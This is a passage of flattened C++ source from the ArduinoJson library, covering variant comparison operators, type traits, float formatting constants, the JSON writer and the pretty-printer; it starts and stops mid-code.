{\r\n public:\r\n  template <typename TComparand>\r\n  friend bool operator==(const JsonVariantComparisons &variant,\r\n                         TComparand comparand) {\r\n    return variant.equals(comparand);\r\n  }\r\n  template <typename TComparand>\r\n  friend typename EnableIf<!IsVariant<TComparand>::value, bool>::type\r\n  operator==(TComparand comparand, const JsonVariantComparisons &variant) {\r\n    return variant.equals(comparand);\r\n  }\r\n  template <typename TComparand>\r\n  friend bool operator!=(const JsonVariantComparisons &variant,\r\n                         TComparand comparand) {\r\n    return !variant.equals(comparand);\r\n  }\r\n  template <typename TComparand>\r\n  friend typename EnableIf<!IsVariant<TComparand>::value, bool>::type\r\n  operator!=(TComparand comparand, const JsonVariantComparisons &variant) {\r\n    return !variant.equals(comparand);\r\n  }\r\n  template <typename TComparand>\r\n  friend bool operator<=(const JsonVariantComparisons &left, TComparand right) {\r\n    return left.as<TComparand>() <= right;\r\n  }\r\n  template <typename TComparand>\r\n  friend bool operator<=(TComparand comparand,\r\n                         const JsonVariantComparisons &variant) {\r\n    return comparand <= variant.as<TComparand>();\r\n  }\r\n  template <typename TComparand>\r\n  friend bool operator>=(const JsonVariantComparisons &variant,\r\n                         TComparand comparand) {\r\n    return variant.as<TComparand>() >= comparand;\r\n  }\r\n  template <typename TComparand>\r\n  friend bool operator>=(TComparand comparand,\r\n                         const JsonVariantComparisons &variant) {\r\n    return comparand >= variant.as<TComparand>();\r\n  }\r\n  template <typename TComparand>\r\n  friend bool operator<(const JsonVariantComparisons &varian,\r\n                        TComparand comparand) {\r\n    return varian.as<TComparand>() < comparand;\r\n  }\r\n  template <typename TComparand>\r\n  friend bool operator<(TComparand comparand,\r\n                        const JsonVariantComparisons &variant) {\r\n    return comparand < variant.as<TComparand>();\r\n  }\r\n  template <typename TComparand>\r\n  friend bool operator>(const JsonVariantComparisons &variant,\r\n                        TComparand comparand) {\r\n    return variant.as<TComparand>() > comparand;\r\n  }\r\n  template <typename TComparand>\r\n  friend bool operator>(TComparand comparand,\r\n                        const JsonVariantComparisons &variant) {\r\n    return comparand > variant.as<TComparand>();\r\n  }\r\n private:\r\n  const TImpl *impl() const {\r\n    return static_cast<const TImpl *>(this);\r\n  }\r\n  template <typename T>\r\n  const typename JsonVariantAs<T>::type as() const {\r\n    return impl()->template as<T>();\r\n  }\r\n  template <typename T>\r\n  bool is() const {\r\n    return impl()->template is<T>();\r\n  }\r\n  template <typename TString>\r\n  typename EnableIf<StringTraits<TString>::has_equals, bool>::type equals(\r\n      const TString &comparand) const {\r\n    const char *value = as<const char *>();\r\n    return StringTraits<TString>::equals(comparand, value);\r\n  }\r\n  template <typename TComparand>\r\n  typename EnableIf<!IsVariant<TComparand>::value &&\r\n                        !StringTraits<TComparand>::has_equals,\r\n                    bool>::type\r\n  equals(const TComparand &comparand) const {\r\n    return as<TComparand>() == comparand;\r\n  }\r\n  template <typename TVariant2>\r\n  bool equals(const JsonVariantComparisons<TVariant2> &right) const {\r\n    using namespace Internals;\r\n    if (is<bool>() && right.template is<bool>())\r\n      return as<bool>() == right.template as<bool>();\r\n    if (is<JsonInteger>() && right.template is<JsonInteger>())\r\n      return as<JsonInteger>() == right.template as<JsonInteger>();\r\n    if (is<JsonFloat>() && right.template is<JsonFloat>())\r\n      return as<JsonFloat>() == right.template as<JsonFloat>();\r\n    if (is<JsonArray>() && right.template is<JsonArray>())\r\n      return as<JsonArray>() == right.template as<JsonArray>();\r\n    if (is<JsonObject>() && right.template is<JsonObject>())\r\n      return as<JsonObject>() == right.template as<JsonObject>();\r\n    if (is<char *>() && right.template is<char *>())\r\n      return StringTraits<const char *>::equals(as<char *>(),\r\n                                                right.template as<char *>());\r\n    return false;\r\n  }\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename T>\r\nstruct IsSignedIntegral {\r\n  static const bool value =\r\n      IsSame<T, signed char>::value || IsSame<T, signed short>::value ||\r\n      IsSame<T, signed int>::value || IsSame<T, signed long>::value ||\r\n#if ARDUINOJSON_USE_LONG_LONG\r\n      IsSame<T, signed long long>::value ||\r\n#endif\r\n#if ARDUINOJSON_USE_INT64\r\n      IsSame<T, signed __int64>::value ||\r\n#endif\r\n      false;\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename T>\r\nstruct IsUnsignedIntegral {\r\n  static const bool value =\r\n      IsSame<T, unsigned char>::value || IsSame<T, unsigned short>::value ||\r\n      IsSame<T, unsigned int>::value || IsSame<T, unsigned long>::value ||\r\n#if ARDUINOJSON_USE_LONG_LONG\r\n      IsSame<T, unsigned long long>::value ||\r\n#endif\r\n#if ARDUINOJSON_USE_INT64\r\n      IsSame<T, unsigned __int64>::value ||\r\n#endif\r\n      false;\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename T>\r\nstruct IsIntegral {\r\n  static const bool value = IsSignedIntegral<T>::value ||\r\n                            IsUnsignedIntegral<T>::value ||\r\n                            IsSame<T, char>::value;\r\n};\r\ntemplate <typename T>\r\nstruct IsIntegral<const T> : IsIntegral<T> {};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename TImpl>\r\nclass JsonVariantOr {\r\n public:\r\n  template <typename T>\r\n  typename EnableIf<!IsIntegral<T>::value, T>::type operator|(\r\n      const T &defaultValue) const {\r\n    if (impl()->template is<T>())\r\n      return impl()->template as<T>();\r\n    else\r\n      return defaultValue;\r\n  }\r\n  const char *operator|(const char *defaultValue) const {\r\n    const char *value = impl()->template as<const char *>();\r\n    return value ? value : defaultValue;\r\n  }\r\n  template <typename Integer>\r\n  typename EnableIf<IsIntegral<Integer>::value, Integer>::type operator|(\r\n      const Integer &defaultValue) const {\r\n    if (impl()->template is<double>())\r\n      return impl()->template as<Integer>();\r\n    else\r\n      return defaultValue;\r\n  }\r\n private:\r\n  const TImpl *impl() const {\r\n    return static_cast<const TImpl *>(this);\r\n  }\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\nclass JsonArraySubscript;\r\ntemplate <typename TKey>\r\nclass JsonObjectSubscript;\r\ntemplate <typename TImpl>\r\nclass JsonVariantSubscripts {\r\n public:\r\n  size_t size() const {\r\n    return impl()->template as<JsonArray>().size() +\r\n           impl()->template as<JsonObject>().size();\r\n  }\r\n  FORCE_INLINE const JsonArraySubscript operator[](size_t index) const;\r\n  FORCE_INLINE JsonArraySubscript operator[](size_t index);\r\n  template <typename TString>\r\n  FORCE_INLINE\r\n      typename EnableIf<StringTraits<TString>::has_equals,\r\n                        const JsonObjectSubscript<const TString &> >::type\r\n      operator[](const TString &key) const {\r\n    return impl()->template as<JsonObject>()[key];\r\n  }\r\n  template <typename TString>\r\n  FORCE_INLINE typename EnableIf<StringTraits<TString>::has_equals,\r\n                                 JsonObjectSubscript<const TString &> >::type\r\n  operator[](const TString &key) {\r\n    return impl()->template as<JsonObject>()[key];\r\n  }\r\n  template <typename TString>\r\n  FORCE_INLINE typename EnableIf<StringTraits<const TString *>::has_equals,\r\n                                 JsonObjectSubscript<const TString *> >::type\r\n  operator[](const TString *key) {\r\n    return impl()->template as<JsonObject>()[key];\r\n  }\r\n  template <typename TString>\r\n  FORCE_INLINE\r\n      typename EnableIf<StringTraits<TString *>::has_equals,\r\n                        const JsonObjectSubscript<const TString *> >::type\r\n      operator[](const TString *key) const {\r\n    return impl()->template as<JsonObject>()[key];\r\n  }\r\n private:\r\n  const TImpl *impl() const {\r\n    return static_cast<const TImpl *>(this);\r\n  }\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\nclass DummyPrint {\r\n public:\r\n  size_t print(char) {\r\n    return 1;\r\n  }\r\n  size_t print(const char* s) {\r\n    return strlen(s);\r\n  }\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename TString>\r\nclass DynamicStringBuilder {\r\n public:\r\n  DynamicStringBuilder(TString &str) : _str(str) {}\r\n  size_t print(char c) {\r\n    StringTraits<TString>::append(_str, c);\r\n    return 1;\r\n  }\r\n  size_t print(const char *s) {\r\n    size_t initialLen = _str.length();\r\n    StringTraits<TString>::append(_str, s);\r\n    return _str.length() - initialLen;\r\n  }\r\n private:\r\n  DynamicStringBuilder &operator=(const DynamicStringBuilder &);\r\n  TString &_str;\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename Print>\r\nclass IndentedPrint {\r\n public:\r\n  explicit IndentedPrint(Print &p) : sink(&p) {\r\n    level = 0;\r\n    tabSize = 2;\r\n    isNewLine = true;\r\n  }\r\n  size_t print(char c) {\r\n    size_t n = 0;\r\n    if (isNewLine) n += writeTabs();\r\n    n += sink->print(c);\r\n    isNewLine = c == '\\n';\r\n    return n;\r\n  }\r\n  size_t print(const char *s) {\r\n    size_t n = 0;\r\n    while (*s) n += print(*s++);\r\n    return n;\r\n  }\r\n  void indent() {\r\n    if (level < MAX_LEVEL) level++;\r\n  }\r\n  void unindent() {\r\n    if (level > 0) level--;\r\n  }\r\n  void setTabSize(uint8_t n) {\r\n    if (n < MAX_TAB_SIZE) tabSize = n & MAX_TAB_SIZE;\r\n  }\r\n private:\r\n  Print *sink;\r\n  uint8_t level : 4;\r\n  uint8_t tabSize : 3;\r\n  bool isNewLine : 1;\r\n  size_t writeTabs() {\r\n    size_t n = 0;\r\n    for (int i = 0; i < level * tabSize; i++) n += sink->print(' ');\r\n    return n;\r\n  }\r\n  static const int MAX_LEVEL = 15;    // because it's only 4 bits\r\n  static const int MAX_TAB_SIZE = 7;  // because it's only 3 bits\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\nclass Encoding {\r\n public:\r\n  static char escapeChar(char c) {\r\n    const char *p = escapeTable(false);\r\n    while (p[0] && p[1] != c) {\r\n      p += 2;\r\n    }\r\n    return p[0];\r\n  }\r\n  static char unescapeChar(char c) {\r\n    const char *p = escapeTable(true);\r\n    for (;;) {\r\n      if (p[0] == '\\0') return c;\r\n      if (p[0] == c) return p[1];\r\n      p += 2;\r\n    }\r\n  }\r\n private:\r\n  static const char *escapeTable(bool excludeIdenticals) {\r\n    return &\"\\\"\\\"\\\\\\\\b\\bf\\fn\\nr\\rt\\t\"[excludeIdenticals ? 4 : 0];\r\n  }\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename T>\r\nbool isNaN(T x) {\r\n  return x != x;\r\n}\r\ntemplate <typename T>\r\nbool isInfinity(T x) {\r\n  return x != 0.0 && x * 2 == x;\r\n}\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\n#include <stdlib.h>  // for size_t\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename T, typename F>\r\nstruct alias_cast_t {\r\n  union {\r\n    F raw;\r\n    T data;\r\n  };\r\n};\r\ntemplate <typename T, typename F>\r\nT alias_cast(F raw_data) {\r\n  alias_cast_t<T, F> ac;\r\n  ac.raw = raw_data;\r\n  return ac.data;\r\n}\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename T, size_t = sizeof(T)>\r\nstruct FloatTraits {};\r\ntemplate <typename T>\r\nstruct FloatTraits<T, 8 /*64bits*/> {\r\n  typedef int64_t mantissa_type;\r\n  static const short mantissa_bits = 52;\r\n  static const mantissa_type mantissa_max =\r\n      (static_cast<mantissa_type>(1) << mantissa_bits) - 1;\r\n  typedef int16_t exponent_type;\r\n  static const exponent_type exponent_max = 308;\r\n  template <typename TExponent>\r\n  static T make_float(T m, TExponent e) {\r\n    if (e > 0) {\r\n      for (uint8_t index = 0; e != 0; index++) {\r\n        if (e & 1) m *= positiveBinaryPowerOfTen(index);\r\n        e >>= 1;\r\n      }\r\n    } else {\r\n      e = TExponent(-e);\r\n      for (uint8_t index = 0; e != 0; index++) {\r\n        if (e & 1) m *= negativeBinaryPowerOfTen(index);\r\n        e >>= 1;\r\n      }\r\n    }\r\n    return m;\r\n  }\r\n  static T positiveBinaryPowerOfTen(int index) {\r\n    static T factors[] = {\r\n        1e1,\r\n        1e2,\r\n        1e4,\r\n        1e8,\r\n        1e16,\r\n        forge(0x4693B8B5, 0xB5056E17),  // 1e32\r\n        forge(0x4D384F03, 0xE93FF9F5),  // 1e64\r\n        forge(0x5A827748, 0xF9301D32),  // 1e128\r\n        forge(0x75154FDD, 0x7F73BF3C)   // 1e256\r\n    };\r\n    return factors[index];\r\n  }\r\n  static T negativeBinaryPowerOfTen(int index) {\r\n    static T factors[] = {\r\n        forge(0x3FB99999, 0x9999999A),  // 1e-1\r\n        forge(0x3F847AE1, 0x47AE147B),  // 1e-2\r\n        forge(0x3F1A36E2, 0xEB1C432D),  // 1e-4\r\n        forge(0x3E45798E, 0xE2308C3A),  // 1e-8\r\n        forge(0x3C9CD2B2, 0x97D889BC),  // 1e-16\r\n        forge(0x3949F623, 0xD5A8A733),  // 1e-32\r\n        forge(0x32A50FFD, 0x44F4A73D),  // 1e-64\r\n        forge(0x255BBA08, 0xCF8C979D),  // 1e-128\r\n        forge(0x0AC80628, 0x64AC6F43)   // 1e-256\r\n    };\r\n    return factors[index];\r\n  }\r\n  static T negativeBinaryPowerOfTenPlusOne(int index) {\r\n    static T factors[] = {\r\n        1e0,\r\n        forge(0x3FB99999, 0x9999999A),  // 1e-1\r\n        forge(0x3F50624D, 0xD2F1A9FC),  // 1e-3\r\n        forge(0x3E7AD7F2, 0x9ABCAF48),  // 1e-7\r\n        forge(0x3CD203AF, 0x9EE75616),  // 1e-15\r\n        forge(0x398039D6, 0x65896880),  // 1e-31\r\n        forge(0x32DA53FC, 0x9631D10D),  // 1e-63\r\n        forge(0x25915445, 0x81B7DEC2),  // 1e-127\r\n        forge(0x0AFE07B2, 0x7DD78B14)   // 1e-255\r\n    };\r\n    return factors[index];\r\n  }\r\n  static T nan() {\r\n    return forge(0x7ff80000, 0x00000000);\r\n  }\r\n  static T inf() {\r\n    return forge(0x7ff00000, 0x00000000);\r\n  }\r\n  static T forge(uint32_t msb, uint32_t lsb) {\r\n    return alias_cast<T>((uint64_t(msb) << 32) | lsb);\r\n  }\r\n};\r\ntemplate <typename T>\r\nstruct FloatTraits<T, 4 /*32bits*/> {\r\n  typedef int32_t mantissa_type;\r\n  static const short mantissa_bits = 23;\r\n  static const mantissa_type mantissa_max =\r\n      (static_cast<mantissa_type>(1) << mantissa_bits) - 1;\r\n  typedef int8_t exponent_type;\r\n  static const exponent_type exponent_max = 38;\r\n  template <typename TExponent>\r\n  static T make_float(T m, TExponent e) {\r\n    if (e > 0) {\r\n      for (uint8_t index = 0; e != 0; index++) {\r\n        if (e & 1) m *= positiveBinaryPowerOfTen(index);\r\n        e >>= 1;\r\n      }\r\n    } else {\r\n      e = -e;\r\n      for (uint8_t index = 0; e != 0; index++) {\r\n        if (e & 1) m *= negativeBinaryPowerOfTen(index);\r\n        e >>= 1;\r\n      }\r\n    }\r\n    return m;\r\n  }\r\n  static T positiveBinaryPowerOfTen(int index) {\r\n    static T factors[] = {1e1f, 1e2f, 1e4f, 1e8f, 1e16f, 1e32f};\r\n    return factors[index];\r\n  }\r\n  static T negativeBinaryPowerOfTen(int index) {\r\n    static T factors[] = {1e-1f, 1e-2f, 1e-4f, 1e-8f, 1e-16f, 1e-32f};\r\n    return factors[index];\r\n  }\r\n  static T negativeBinaryPowerOfTenPlusOne(int index) {\r\n    static T factors[] = {1e0f, 1e-1f, 1e-3f, 1e-7f, 1e-15f, 1e-31f};\r\n    return factors[index];\r\n  }\r\n  static T forge(uint32_t bits) {\r\n    return alias_cast<T>(bits);\r\n  }\r\n  static T nan() {\r\n    return forge(0x7fc00000);\r\n  }\r\n  static T inf() {\r\n    return forge(0x7f800000);\r\n  }\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename TFloat>\r\nstruct FloatParts {\r\n  uint32_t integral;\r\n  uint32_t decimal;\r\n  int16_t exponent;\r\n  int8_t decimalPlaces;\r\n  FloatParts(TFloat value) {\r\n    uint32_t maxDecimalPart = sizeof(TFloat) >= 8 ? 1000000000 : 1000000;\r\n    decimalPlaces = sizeof(TFloat) >= 8 ? 9 : 6;\r\n    exponent = normalize(value);\r\n    integral = uint32_t(value);\r\n    for (uint32_t tmp = integral; tmp >= 10; tmp /= 10) {\r\n      maxDecimalPart /= 10;\r\n      decimalPlaces--;\r\n    }\r\n    TFloat remainder = (value - TFloat(integral)) * TFloat(maxDecimalPart);\r\n    decimal = uint32_t(remainder);\r\n    remainder = remainder - TFloat(decimal);\r\n    decimal += uint32_t(remainder * 2);\r\n    if (decimal >= maxDecimalPart) {\r\n      decimal = 0;\r\n      integral++;\r\n      if (exponent && integral >= 10) {\r\n        exponent++;\r\n        integral = 1;\r\n      }\r\n    }\r\n    while (decimal % 10 == 0 && decimalPlaces > 0) {\r\n      decimal /= 10;\r\n      decimalPlaces--;\r\n    }\r\n  }\r\n  static int16_t normalize(TFloat& value) {\r\n    typedef FloatTraits<TFloat> traits;\r\n    int16_t powersOf10 = 0;\r\n    int8_t index = sizeof(TFloat) == 8 ? 8 : 5;\r\n    int bit = 1 << index;\r\n    if (value >= ARDUINOJSON_POSITIVE_EXPONENTIATION_THRESHOLD) {\r\n      for (; index >= 0; index--) {\r\n        if (value >= traits::positiveBinaryPowerOfTen(index)) {\r\n          value *= traits::negativeBinaryPowerOfTen(index);\r\n          powersOf10 = int16_t(powersOf10 + bit);\r\n        }\r\n        bit >>= 1;\r\n      }\r\n    }\r\n    if (value > 0 && value <= ARDUINOJSON_NEGATIVE_EXPONENTIATION_THRESHOLD) {\r\n      for (; index >= 0; index--) {\r\n        if (value < traits::negativeBinaryPowerOfTenPlusOne(index)) {\r\n          value *= traits::positiveBinaryPowerOfTen(index);\r\n          powersOf10 = int16_t(powersOf10 - bit);\r\n        }\r\n        bit >>= 1;\r\n      }\r\n    }\r\n    return powersOf10;\r\n  }\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename Print>\r\nclass JsonWriter {\r\n public:\r\n  explicit JsonWriter(Print &sink) : _sink(sink), _length(0) {}\r\n  size_t bytesWritten() const {\r\n    return _length;\r\n  }\r\n  void beginArray() {\r\n    writeRaw('[');\r\n  }\r\n  void endArray() {\r\n    writeRaw(']');\r\n  }\r\n  void beginObject() {\r\n    writeRaw('{');\r\n  }\r\n  void endObject() {\r\n    writeRaw('}');\r\n  }\r\n  void writeColon() {\r\n    writeRaw(':');\r\n  }\r\n  void writeComma() {\r\n    writeRaw(',');\r\n  }\r\n  void writeBoolean(bool value) {\r\n    writeRaw(value ? \"true\" : \"false\");\r\n  }\r\n  void writeString(const char *value) {\r\n    if (!value) {\r\n      writeRaw(\"null\");\r\n    } else {\r\n      writeRaw('\\\"');\r\n      while (*value) writeChar(*value++);\r\n      writeRaw('\\\"');\r\n    }\r\n  }\r\n  void writeChar(char c) {\r\n    char specialChar = Encoding::escapeChar(c);\r\n    if (specialChar) {\r\n      writeRaw('\\\\');\r\n      writeRaw(specialChar);\r\n    } else {\r\n      writeRaw(c);\r\n    }\r\n  }\r\n  template <typename TFloat>\r\n  void writeFloat(TFloat value) {\r\n    if (isNaN(value)) return writeRaw(\"NaN\");\r\n    if (value < 0.0) {\r\n      writeRaw('-');\r\n      value = -value;\r\n    }\r\n    if (isInfinity(value)) return writeRaw(\"Infinity\");\r\n    FloatParts<TFloat> parts(value);\r\n    writeInteger(parts.integral);\r\n    if (parts.decimalPlaces) writeDecimals(parts.decimal, parts.decimalPlaces);\r\n    if (parts.exponent < 0) {\r\n      writeRaw(\"e-\");\r\n      writeInteger(-parts.exponent);\r\n    }\r\n    if (parts.exponent > 0) {\r\n      writeRaw('e');\r\n      writeInteger(parts.exponent);\r\n    }\r\n  }\r\n  template <typename UInt>\r\n  void writeInteger(UInt value) {\r\n    char buffer[22];\r\n    char *end = buffer + sizeof(buffer) - 1;\r\n    char *ptr = end;\r\n    *ptr = 0;\r\n    do {\r\n      *--ptr = char(value % 10 + '0');\r\n      value = UInt(value / 10);\r\n    } while (value);\r\n    writeRaw(ptr);\r\n  }\r\n  void writeDecimals(uint32_t value, int8_t width) {\r\n    char buffer[16];\r\n    char *ptr = buffer + sizeof(buffer) - 1;\r\n    *ptr = 0;\r\n    while (width--) {\r\n      *--ptr = char(value % 10 + '0');\r\n      value /= 10;\r\n    }\r\n    *--ptr = '.';\r\n    writeRaw(ptr);\r\n  }\r\n  void writeRaw(const char *s) {\r\n    _length += _sink.print(s);\r\n  }\r\n  void writeRaw(char c) {\r\n    _length += _sink.print(c);\r\n  }\r\n protected:\r\n  Print &_sink;\r\n  size_t _length;\r\n private:\r\n  JsonWriter &operator=(const JsonWriter &);  // cannot be assigned\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nclass JsonArray;\r\nclass JsonObject;\r\nclass JsonVariant;\r\nnamespace Internals {\r\nclass JsonArraySubscript;\r\ntemplate <typename TKey>\r\nclass JsonObjectSubscript;\r\ntemplate <typename Writer>\r\nclass JsonSerializer {\r\n public:\r\n  static void serialize(const JsonArray &, Writer &);\r\n  static void serialize(const JsonArraySubscript &, Writer &);\r\n  static void serialize(const JsonObject &, Writer &);\r\n  template <typename TKey>\r\n  static void serialize(const JsonObjectSubscript<TKey> &, Writer &);\r\n  static void serialize(const JsonVariant &, Writer &);\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename Print>\r\nclass Prettyfier {\r\n public:\r\n  explicit Prettyfier(IndentedPrint<Print>& p) : _sink(p) {\r\n    _previousChar = 0;\r\n    _inString = false;\r\n  }\r\n  size_t print(char c) {\r\n    size_t n = _inString ? handleStringChar(c) : handleMarkupChar(c);\r\n    _previousChar = c;\r\n    return n;\r\n  }\r\n  size_t print(const char* s) {\r\n    size_t n = 0;\r\n    while (*s) n += print(*s++);\r\n    return n;\r\n  }\r\n private:\r\n  Prettyfier& operator=(const Prettyfier&);  // cannot be assigned\r\n  bool inEmptyBlock() {\r\n    return _previousChar == '{' || _previousChar == '[';\r\n  }\r\n  size_t handleStringChar(char c) {\r\n    bool isQuote = c == '\"' && _previousChar != '\\\\';\r\n    if (isQuote) _inString = false;\r\n    return _sink.print(c);\r\n  }\r\n  size_t handleMarkupChar(char c) {\r\n    switch (c) {\r\n      case '{':\r\n      case '[':\r\n        return writeBlockOpen(c);\r\n      case '}':\r\n      case ']':\r\n        return writeBlockClose(c);\r\n      case ':':\r\n        return writeColon();\r\n      case ',':\r\n        return writeComma();\r\n      case '\"':\r\n        return writeQuoteOpen();\r\n      default:\r\n        return writeNormalChar(c);\r\n    }\r\n  }\r\n  size_t writeBlockClose(char c) {\r\n    size_t n = 0;\r\n    n += unindentIfNeeded();\r\n    n += _sink.print(c);\r\n    return n;\r\n  }\r\n  size_t writeBlockOpen(char c) {\r\n    size_t n = 0;\r\n    n += indentIfNeeded();\r\n    n += _sink.print(c);\r\n    return n;\r\n  }\r\n  size_t writeColon() {\r\n    size_t n = 0;\r\n    n += _sink.print(\": \");\r\n    return n;\r\n  }\r\n  size_t writeComma() {\r\n    size_t n = 0;\r\n    n += _sink.print(\",\\r\\n\");\r\n    return n;\r\n  }\r\n  size_t writeQuoteOpen() {\r\n    _inString = true;\r\n    size_t n = 0;\r\n    n += indentIfNeeded();\r\n    n += _sink.print('\"');\r\n    return n;\r\n  }\r\n  size_t writeNormalChar(char c) {\r\n    size_t n = 0;\r\n    n += indentIfNeeded();\r\n    n += _sink.print(c);\r\n    return n;\r\n  }\r\n  size_t indentIfNeeded() {\r\n    if (!inEmptyBlock()) return 0;\r\n    _sink.indent();\r\n    return _sink.print(\"\\r\\n\");\r\n  }\r\n  size_t unindentIfNeeded() {\r\n    if (inEmptyBlock()) return 0;\r\n    _sink.unindent();\r\n    return _sink.print(\"\\r\\n\");\r\n  }\r\n  char _previousChar;\r\n  IndentedPrint<Print>& _sink;\r\n  bool _inString;\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\nclass StaticStringBuilder {\r\n public:\r\n  StaticStringBuilder(char *buf, size_t size) : end(buf + size - 1), p(buf) {\r\n    *p = '\\0';\r\n  }\r\n  size_t print(char c) {\r\n    if (p >= end) return 0;\r\n    *p++ = c;\r\n    *p = '\\0';\r\n    return 1;\r\n  }\r\n  size_t print(const char *s) {\r\n    char *begin = p;\r\n    while (p < end && *s) *p++ = *s++;\r\n    *p = '\\0';\r\n    return size_t(p - begin);\r\n  }\r\n private:\r\n  char *end;\r\n  char *p;\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\n#if ARDUINOJSON_ENABLE_STD_STREAM\r\n#if ARDUINOJSON_ENABLE_STD_STREAM\r\n#include <ostream>\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\nclass StreamPrintAdapter {\r\n public:\r\n  explicit StreamPrintAdapter(std::ostream& os) : _os(os) {}\r\n  size_t print(char c) {\r\n    _os << c;\r\n    return 1;\r\n  }\r\n  size_t print(const char* s) {\r\n    _os << s;\r\n    return strlen(s);\r\n  }\r\n private:\r\n  StreamPrintAdapter& operator=(const StreamPrintAdapter&);\r\n  std::ostream& _os;\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\n#endif  // ARDUINOJSON_ENABLE_STD_STREAM\r\n#endif\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename T>\r\nclass JsonPrintable {\r\n public:\r\n  template <typename Print>\r\n  typename EnableIf<!StringTraits<Print>::has_append, size_t>::type printTo(\r\n      Print &print) const {\r\n    JsonWriter<Print> writer(print);\r\n    JsonSerializer<JsonWriter<Print> >::serialize(downcast(), writer);\r\n    return writer.bytesWritten();\r\n  }\r\n#if ARDUINOJSON_ENABLE_STD_STREAM\r\n  std::ostream &printTo(std::ostream &os) const {\r\n    StreamPrintAdapter adapter(os);\r\n    printTo(adapter);\r\n    return os;\r\n  }\r\n#endif\r\n  size_t printTo(char *buffer, size_t bufferSize) const {\r\n    StaticStringBuilder sb(buffer, bufferSize);\r\n    return printTo(sb);\r\n  }\r\n  template <size_t N>\r\n  size_t printTo(char (&buffer)[N]) const {\r\n    return printTo(buffer, N);\r\n  }\r\n  template <typename TString>\r\n  typename EnableIf<StringTraits<TString>::has_append, size_t>::type printTo(\r\n      TString &str) const {\r\n    DynamicStringBuilder<TString> sb(str);\r\n    return printTo(sb);\r\n  }\r\n  template <typename Print>\r\n  size_t prettyPrintTo(IndentedPrint<Print> &print) const {\r\n    Prettyfier<Print> p(print);\r\n    return printTo(p);\r\n  }\r\n  size_t prettyPrintTo(char *buffer, size_t bufferSize) const {\r\n    StaticStringBuilder sb(buffer, bufferSize);\r\n    return prettyPrintTo(sb);\r\n  }\r\n  template <size_t N>\r\n  size_t prettyPrintTo(char (&buffer)[N]) const {\r\n    return prettyPrintTo(buffer, N);\r\n  }\r\n  template <typename Print>\r\n  typename EnableIf<!StringTraits<Print>::has_append, size_t>::type\r\n  prettyPrintTo(Print &print) const {\r\n    IndentedPrint<Print> indentedPrint(print);\r\n    return prettyPrintTo(indentedPrint);\r\n  }\r\n  template <typename TString>\r\n  typename EnableIf<StringTraits<TString>::has_append, size_t>::type\r\n  prettyPrintTo(TString &str) const {\r\n    DynamicStringBuilder<TString> sb(str);\r\n    return prettyPrintTo(sb);\r\n  }\r\n  size_t measureLength() const {\r\n    DummyPrint dp;\r\n    return printTo(dp);\r\n  }\r\n  size_t measurePrettyLength() const {\r\n    DummyPrint dp;\r\n    return prettyPrintTo(dp);\r\n  }\r\n private:\r\n  const T &downcast() const {\r\n    return *static_cast<const T *>(this);\r\n  }\r\n};\r\n#if ARDUINOJSON_ENABLE_STD_STREAM\r\ntemplate <typename T>\r\ninline std::ostream &operator<<(std::ostream &os, const JsonPrintable<T> &v) {\r\n  return v.printTo(os);\r\n}\r\n#endif\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename TImpl>\r\nclass JsonVariantBase : public JsonPrintable<TImpl>,\r\n                        public JsonVariantCasts<TImpl>,\r\n                        public JsonVariantComparisons<TImpl>,\r\n                        public JsonVariantOr<TImpl>,\r\n                        public JsonVariantSubscripts<TImpl>,\r\n                        public JsonVariantTag {};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename T>\r\nclass RawJsonString {\r\n public:\r\n  explicit RawJsonString(T str) : _str(str) {}\r\n  operator T() const {\r\n    return _str;\r\n  }\r\n private:\r\n  T _str;\r\n};\r\ntemplate <typename String>\r\nstruct StringTraits<RawJsonString<String>, void> {\r\n  static bool is_null(RawJsonString<String> source) {\r\n    return StringTraits<String>::is_null(static_cast<String>(source));\r\n  }\r\n  typedef RawJsonString<const char*> duplicate_t;\r\n  template <typename 